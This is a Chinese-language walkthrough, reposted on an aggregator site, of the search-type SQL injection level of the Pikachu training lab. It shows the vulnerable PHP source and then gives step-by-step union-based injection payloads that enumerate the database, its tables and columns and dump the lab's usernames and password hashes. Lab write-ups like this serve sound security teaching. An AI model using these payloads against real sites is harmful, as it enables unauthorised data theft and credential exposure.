pikachu靶場通關筆記20 SQL注入03-搜索型注入(GET)

目錄

一、SQL注入

二、搜索型注入

三、源碼分析

1、滲透思路1

2、滲透思路2

四、滲透實戰

1、滲透準備

2、SQL注入探測

(1)輸入百分號單引號

(2)萬能注入語句

3、獲取回顯列orderby

4、獲取數據庫名database

5、獲取表名table

6、獲取列名column

7、獲取字段


本系列為通過《pikachu靶場通關筆記》的SQL注入關卡(共10關)滲透集合,通過對搜索型注入關卡源碼的代碼審計找到SQL安全風險的真實原因,講解搜索型注入的原理并進行滲透實踐,本文為SQL注入03之搜索型注入關卡的滲透部分。

一、SQL注入

SQL注入是指攻擊者通過在Web應用程序的輸入字段(如表單、URL參數、Cookie等)中插入惡意的SQL語句片段,當應用程序將這些輸入直接拼接到SQL查詢語句中并執行時,攻擊者插入的惡意SQL語句會被執行,從而實現對數據庫的非法操作。

二、搜索型注入

搜索型注入是SQL注入的一種特殊形式,主要出現在網站搜索功能中,具有獨特的攻擊特點和利用方式。搜索型注入的基本特征大概如下所示。

  1. 出現場景:搜索框、篩選條件、動態查詢等需要用戶輸入查詢條件的功能

  2. SQL模式:通常使用LIKECONCAT等字符串操作函數

  3. 輸入處理:用戶輸入往往被包裹在百分號(%)或引號中

三、源碼分析

打開pikachu靶場的SQL注入-字符型關卡對應的源碼sqli_search.php,很明顯查詢語句沒有對GET方法傳入的參數name進行過濾,存在SQL注入風險,具體如下所示。

這段 PHP 代碼的主要功能是處理一個通過 GET 方法提交的表單。當用戶在 URL 中傳遞 submit 參數且 name 參數不為空時,代碼會將用戶輸入的 name 作為條件,從 member 表中查詢對應的 id 和 email 信息。如果查詢到結果,則將用戶的 id 和 email 信息以 HTML 段落的形式顯示出來;如果沒有查詢到結果,則提示用戶輸入的 username 不存在。同時,代碼還會根據當前腳本文件名設置導航欄的激活狀態,并包含項目的頭部文件、配置文件、功能函數文件和 MySQL 操作文件。

<?php
// 調用 connect 函數建立與數據庫的連接,并將連接對象賦值給變量 $link
$link = connect();// 初始化兩個用于存儲 HTML 內容的變量,$html1 用于存儲查詢結果相關的 HTML,$html2 用于存儲提示信息相關的 HTML
$html1 = '';
$html2 = '';// 檢查是否通過 GET 方法提交了表單,并且表單中名為 'name' 的字段不為空
if (isset($_GET['submit']) && $_GET['name'] != null) {// 從 GET 請求中獲取名為 'name' 的字段的值,并將其賦值給變量 $name$name = $_GET['name'];// 構造一個 SQL 查詢語句,使用 LIKE 關鍵字進行模糊匹配,將用戶輸入的 $name 直接拼接到查詢語句中// 此查詢的目的是從 member 表中選取 username 包含用戶輸入值的記錄的 username、id 和 email 字段$query = "select username,id,email from member where username like '%$name%'";// 調用 execute 函數執行構造好的 SQL 查詢,$link 是數據庫連接對象$result = execute($link, $query);// 檢查查詢結果集中的行數是否大于等于 1// mysqli_num_rows 函數用于獲取結果集中的行數if (mysqli_num_rows($result) >= 1) {// 這里存在 XSS(跨站腳本攻擊)風險,直接將用戶輸入的 $_GET['name'] 輸出到 HTML 中$html2 .= "<p class='notice'>用戶名中含有{$_GET['name']}的結果如下:<br />";// 當結果集中有記錄時,使用 while 循環逐行獲取結果集的數據// mysqli_fetch_assoc 函數會以關聯數組的形式返回結果集中的一行數據while ($data = mysqli_fetch_assoc($result)) {// 從關聯數組 $data 中獲取 'username' 字段的值,并賦值給變量 $uname$uname = $data['username'];// 從關聯數組 $data 中獲取 'id' 字段的值,并賦值給變量 $id$id = $data['id'];// 從關聯數組 $data 中獲取 'email' 字段的值,并賦值給變量 $email$email = $data['email'];// 將用戶信息拼接成 HTML 字符串,添加到變量 $html1 中$html1 .= "<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";}} else {// 如果結果集中沒有記錄,將提示信息拼接成 HTML 字符串,添加到變量 $html1 中$html1 .= "<p class='notice'>0o。..沒有搜索到你輸入的信息!</p>";}
}
?>

此代碼存在 SQL 注入安全風險的根本原因在于對用戶輸入的 $name 沒有進行任何過濾和驗證,就直接將其拼接到 SQL 查詢語句里。由于使用了 LIKE 關鍵字進行模糊匹配,且 $name 被包含在單引號和 % 之間,攻擊者可以利用這一特性構造惡意輸入。?

select username,id,email from member where username like '%$name%'

1、滲透思路1

攻擊者在 URL 中輸入??submit=搜索&name=xxx%' OR '1'='1 ,實際執行的 SQL 查詢如下所示。

select username,id,email from member where username like '%xxx%' OR '1'='1'

因為?'1'='1'?恒為真,這個查詢會返回?member?表中的所有記錄,攻擊者借此就能獲取到所有用戶的username,id?和?email?信息。?

2、滲透思路2

也可以URL 中輸入??submit=搜索&name=xxx%' OR 1=1#,其中#注釋掉了原本的單引號,實際執行的 SQL 查詢如下所示。

select username,id,email from member where username like '%xxx%' OR 1=1#'

四、滲透實戰

1、滲透準備

打開靶場SQL注入第三關搜索型注入,完整URL鏈接如下所示。

http://127.0.0.1/pikachu/vul/sqli/sqli_search.php

輸入已知賬戶“lili”,頁面顯示了用戶名、用戶id和郵箱信息,這與代碼審計的分析一致。根據此時URL地址可知GET方法傳入的參數為name。

http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=lili&submit=%E6%90%9C%E7%B4%A2

2、SQL注入探測

(1)輸入百分號單引號

根據源碼我們知道name為字符型注入點,那么我們從頁面上能否發現有SQL注入呢?其實也是可疑的,在lili加上單引號,報錯信息說明有注入風險,如下所示。

lili%'

完整的報錯信息為“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1”。?

(2)萬能注入語句

接下來嘗試萬能注入語句,判斷閉合語句,在數字后加上單引號 or= 1=1#萬能注入語句,其中單引號是為了構造閉合,如下所示。

lili%' or 1=1#

3、獲取回顯列orderby

使用order by判斷其可回顯的字段,如下所示最終判斷其回顯列數為3個。

lili%' order by 5#

lili%' order by 3#

lili%' union select 1,2,3#

由于回顯位共3個,且通過orderby獲知僅有3列,故而可知這3列已經全部顯示出來了,即第一個回顯位、第二個回顯位和第三個回顯位都有效。

4、獲取數據庫名database

lili%' union select database(),user(),version()#

輸入lili' union select database(),user(),version()#后注入成功,顯示信息為3個,第一個獲取到數據庫名為pikachu,第二個獲取到用戶為root@localhost,第三個獲取到版本號為5.7.26,具體如下所示。?

接下來修改union前面的字符串,使前面內容為不存在的用戶名,使只輸出union后面的內容。?

-1%' union select database(),user(),version()#

輸入id=-1 union select database(),user(),version()#后注入成功,顯示信息為1個,可以直接獲取到數據庫名為pikachu,用戶名為root@localhost,版本號為5.7.26,具體如下所示。?

5、獲取表名table

對pikchu數據庫中表名進行爆破,注入命令如下所示。

id=-1%' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#

滲透后獲取到數據庫pikachu表有4個table,分別為httpinfo,member,message,users,xssblind,如下所示。

6、獲取列名column

對pikchu數據庫中users表中的列名進行爆破,注入命令如下所示。

-1%' union select 1,group_concat(column_name) from information_schema.columns where table_schema="pikachu" and table_name='users'#

滲透后獲取到數據庫users表有4個column列,分別為id,username,password,level,如下所示。?

7、獲取字段

對pikachu數據庫中users表的username、password列進行爆破,命令如下所示。

-1%' union select 1,2,group_concat(username,':',password) from pikachu.users#

滲透后獲取到數據庫users表的username、password字段如下所示,滲透成功。??

admin:e10adc3949ba59abbe56e057f20f883e,pikachu:670b14728ad9902aecba32e22fa4f6bd,test:e99a18c428cb38d5f260853678922e03

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/83030.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/83030.shtml
英文地址,請注明出處:http://en.pswp.cn/web/83030.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

mac:大模型系列測試

0 MAC 前幾天經過學生優惠以及國補17K入手了mac studio,然后這兩天親自測試其模型行運用能力如何&#xff0c;是否支持微調、推理速度等能力。下面進入正文。 1 mac 與 unsloth 按照下面的進行安裝以及測試&#xff0c;是可以跑通文章里面的代碼。訓練速度也是很快的。 注意…

A Survey on the Memory Mechanism of Large Language Model based Agents

目錄 摘要Abstract1. LLM-Based Agent的Memory1.1 基礎概念1.2 用于解釋Memory的例子1.3 智能體記憶的定義1.3.1 狹義定義(肯定不用這個定義)1.3.2 廣義定義 1.4 記憶協助下智能體與環境的交互過程1.4.1 記憶寫入1.4.2 記憶管理1.4.3 記憶讀取1.4.4 總過程 2. 如何實現智能體記…

搭建 Serverless 架構

? 一、理解 Serverless 架構核心概念 核心理念&#xff1a; 無需管理服務器&#xff1a;只需編寫業務邏輯&#xff0c;部署后由云平臺托管運行環境。 事件驅動&#xff08;Event-driven&#xff09; 按需計費&#xff08;按調用次數/資源消耗&#xff09; 高可擴展性與自動…

Git倉庫的創建

Git服務器準備 假設Git所在服務器為Ubuntu系統&#xff0c;IP地址10.17.1.5。 一. 準備運行git服務的git用戶&#xff0c;這里用戶名就直接設定為git。 1. 創建一個git用戶組&#xff0c;并創建git用戶。 sudo groupadd git sudo useradd git -g git 2. 創建git用戶目錄&…

電腦提示dll文件缺失怎么辦 dll修復方法

當你在使用某些應用程序或啟動電腦時&#xff0c;看到提示“DLL文件缺失”的錯誤信息&#xff0c;這通常意味著某個必要的動態鏈接庫&#xff08;DLL&#xff09;文件無法被找到或加載&#xff0c;導致軟件無法正常運行。本文將詳細介紹如何排查和修復DLL文件缺失的問題&#x…

使用 Rest-Assured 和 TestNG 進行購物車功能的 API 自動化測試

這段代碼使用了 Rest-Assured 進行 API 測試&#xff0c;結合 TestNG 框架執行多個 HTTP 請求并進行斷言驗證。以下是對每個測試方法的詳細解釋&#xff0c;包括代碼邏輯和測試目的。 1. test01() 方法 - 提取響應數據 Test public void test01() {String jsonData "{\&…

【設計模式-4.7】行為型——備忘錄模式

說明&#xff1a;本文介紹行為型設計模式之一的備忘錄模式 定義 備忘錄模式&#xff08;Memento Pattern&#xff09;又叫作快照模式&#xff08;Snapshot Pattern&#xff09;或令牌模式&#xff08;Token Pattern&#xff09;指在不破壞封裝的前提下&#xff0c;捕獲一個對…

2025年滲透測試面試題總結-天融信[社招]滲透測試工程師(題目+回答)

安全領域各種資源&#xff0c;學習文檔&#xff0c;以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具&#xff0c;歡迎關注。 目錄 天融信[社招]滲透測試工程師 一、Java Spring Boot組件漏洞 1. CVE-2018-1270&#xff08;WebSocket RCE&…

華為OD機考-內存冷熱標記-多條件排序

import java.util.*;public class DemoTest5 {public static void main(String[] args) {Scanner in new Scanner(System.in);// 注意 hasNext 和 hasNextLine 的區別while (in.hasNextLine()) { // 注意 while 處理多個 caseint a in.nextInt();int[] arr new int[a];for(int…

PPT轉圖片拼貼工具 v3.0

軟件介紹 這個軟件就是將PPT文件轉換為圖片并且拼接起來。 這個代碼支持導入單個文件也支持導入文件夾 但是目前還沒有解決可視化界面問題。 效果展示 軟件源碼 import os import re import win32com.client from PIL import Image from typing import List, Uniondef con…

NLP學習路線圖(三十):微調策略

在自然語言處理領域,預訓練語言模型(如BERT、GPT、T5)已成為基礎設施。但如何讓這些“通才”模型蛻變為特定任務的“專家”?微調策略正是關鍵所在。本文將深入剖析七種核心微調技術及其演進邏輯。 一、基礎概念:為什么需要微調? 預訓練模型在海量語料上學習了通用語言表…

講述我的plc自學之路 第十三章

我和lora都是那種理想主義者&#xff0c;這是我們的共同之處。但是lora比我要更文藝一些&#xff0c;她讀的書畢竟比我多&#xff0c;上的又是名校。受北大人文氣息的熏陶&#xff0c;她總是對愛情充滿了太多幻想。 “說說你的過往吧&#xff0c;lora。”我給lora倒了一杯啤酒&…

GPU虛擬化

引言 現有如下環境&#xff08;注意相關配置&#xff1a;只有一個k8s節點&#xff0c;且該節點上只有一張GPU卡&#xff09;&#xff1a; // k8s版本 $ kubectl version Client Version: version.Info{Major:"1", Minor:"22", GitVersion:"v1.22.7&…

【免費數據】2005-2019年我國272個地級市的旅游競爭力多指標數據(33個指標)

旅游業是一個城市的重要產業構成。旅游競爭力是一個城市競爭力的重要構成部分。一個城市的旅游競爭力反映了其在旅游市場競爭中的比較優勢。 今日我們分享的是2005-2019年我國272個地級市的旅游競爭力多指標數據&#xff01;該數據集源自2025年4月發表于《地理學報》的論文成果…

AI智能驅動瀏覽器工具Browser Use詳解

前言 在之前關于 AI 測試相關的幾篇文章中,我們分別介紹了通過 playwright-mcp,以及 midscene.js、magentic ui 等幾個不同的 AI 瀏覽器工具,實現 AI 驅動自動化測試的方法介紹。而其實在這些不斷涌現的新工具出現之前,還有一個更早推出(2024.11),也同樣還在不斷完善的…

新成果:GaN基VCSEL動態物理模型開發

作為高速數據傳輸與光電信號處理的核心器件&#xff0c;垂直腔面發射激光器&#xff08;VCSEL&#xff09;在高速光通信、激光雷達等領域應用廣泛&#xff0c;其動態特性直接關聯器件調制速率及穩定性等關鍵參數。近期&#xff0c;天津賽米卡爾科技有限公司技術團隊開發了GaN基…

嵌入式學習筆記 - freeRTOS xTaskResumeAll( )函數解析

第一部分 移除掛起等待列表中的任務 while( listLIST_IS_EMPTY( &xPendingReadyList ) pdFALSE )//循環尋找直到為空&#xff0c;把全部任務掃描一遍 { pxTCB ( TCB_t * ) listGET_OWNER_OF_HEAD_ENTRY( ( &xPendingR…

大數據+智能零售:數字化變革下的“智慧新零售”密碼

大數據+智能零售:數字化變革下的“智慧新零售”密碼 大家好,今天咱們聊聊一個火到不行的話題:大數據在智能零售中的應用。這個領域,不僅是技術的“硬核戰場”,更是商業創新的風口浪尖。誰能玩轉數據,誰就能掌控消費者心智,實現銷售爆發。 咱們不搞枯燥學術,而是用最“…

react 常見的閉包陷阱深入解析

一、引子 先來看一段代碼,你能說出這段代碼的問題在哪嗎? const [count, setCount] = useState(0); useEffect(() => {const timer = setTimeout(() => {setCount(count + 1);}, 1000);return () => clearTimeout(timer); }, []);正確答案: 這段代碼存在閉包陷阱…

零基礎在實踐中學習網絡安全-皮卡丘靶場(第十五期-URL重定向模塊)

本期內容和之前的CSRF&#xff0c;File inclusion有聯系&#xff0c;復習后可以更好了解 介紹 不安全的url跳轉 不安全的url跳轉問題可能發生在一切執行了url地址跳轉的地方。如果后端采用了前端傳進來的(可能是用戶傳參,或者之前預埋在前端頁面的url地址)參數作為了跳轉的目…